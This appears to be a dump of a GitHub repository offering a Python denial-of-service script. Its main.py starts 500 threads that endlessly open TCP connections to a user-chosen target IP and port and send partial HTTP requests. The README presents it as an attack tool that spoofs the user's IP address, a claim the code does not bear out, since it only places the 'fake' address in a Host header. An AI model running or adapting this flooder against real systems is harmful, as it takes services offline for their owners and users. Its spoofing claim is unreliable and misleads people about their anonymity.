├── README.md ├── art.py ├── dos-scr └── main.py /README.md: -------------------------------------------------------------------------------- 1 | # DOS-Attack-Script 2 | This is an basic script that you can use to do a Denial-of-service attack. 3 | You can spoof Your ip adress and you can send packets using different ip adress too. 4 | 5 | To Use The script You need to have Python3 pre installed On your computer. 6 | I would recommend You using linux or mav os for this. 7 | 8 | To Run the Script: 9 | 10 | $ python3 main.py 11 | 12 | 13 | heres a screenshot of the Script : 14 | 15 | ![ss](https://github.com/d4az/DOS-Attack-Script./blob/main/dos-scr) 16 | -------------------------------------------------------------------------------- /art.py: -------------------------------------------------------------------------------- 1 | 2 | print(" +-------------------------------------+") 3 | print(" | nov, 18th, 2020 |") 4 | print(" | This is a simple DOS attack script |") 5 | print(" | Github: https://github.com/d4az |") 6 | print(" | Author: Dasith Vidanage |") 7 | print(" | Version: 0.1 |") 8 | print(" +-------------------------d4az--------+ ") 9 | 10 | -------------------------------------------------------------------------------- /dos-scr: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ebadfd/DOS-Attack-Script/098920523bf5c152a86e1e32a8298f908f7f24fe/dos-scr -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | 4 | #target_ip = '195.20.52.179' 5 | #fake_ip = '182.21.20.32' 6 | #port = 80 7 | 8 | print("\n\n") 9 | print(" +-------------------------------------+") 10 | print(" | nov, 18th, 2020 |") 11 | print(" | This is a simple DOS attack script |") 12 | print(" | Github: https://github.com/d4az |") 13 | print(" | Author: Dasith Vidanage |") 14 | print(" | Version: 0.1 |") 15 | print(" +---------------------------d4az------+ ") 16 | 17 | print("\n\n") 18 | 19 | print("Enter ip Address of The Target ") 20 | print("To Get the ip adress You can ping the domain in the terminal. eg #target = '120.00.00.000'") 21 | target = input("\t == > ") 22 | print("Enter The Fake Ip Address that you wants to spoof. eg: #fake_ip = '120.00.00.01' ") 23 | fake_ip = input("\t\t ==> ") 24 | print("Enter The Port Number You Want to Attack ? ") 25 | port = input("\t\t ==> ") 26 | 27 | port = int(port) 28 | 29 | attack_num = 0 30 | 31 | print("Sending Packets...") 32 | 33 | def attack(): 34 | 35 | while True: 36 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 37 | s.connect((target, port)) 38 | s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port)) 39 | s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port)) 40 | 41 | global attack_num 42 | attack_num += 1 43 | packesnum =attack_num 44 | packesnum= str(packesnum) 45 | print("Packets Sending => "+packesnum) 46 | print("Done") 47 | 48 | s.close() 49 | print("Packets Send Sucess!") 50 | for i in range(500): 51 | thread = threading.Thread(target=attack) 52 | thread.start() 53 | 54 | 55 | --------------------------------------------------------------------------------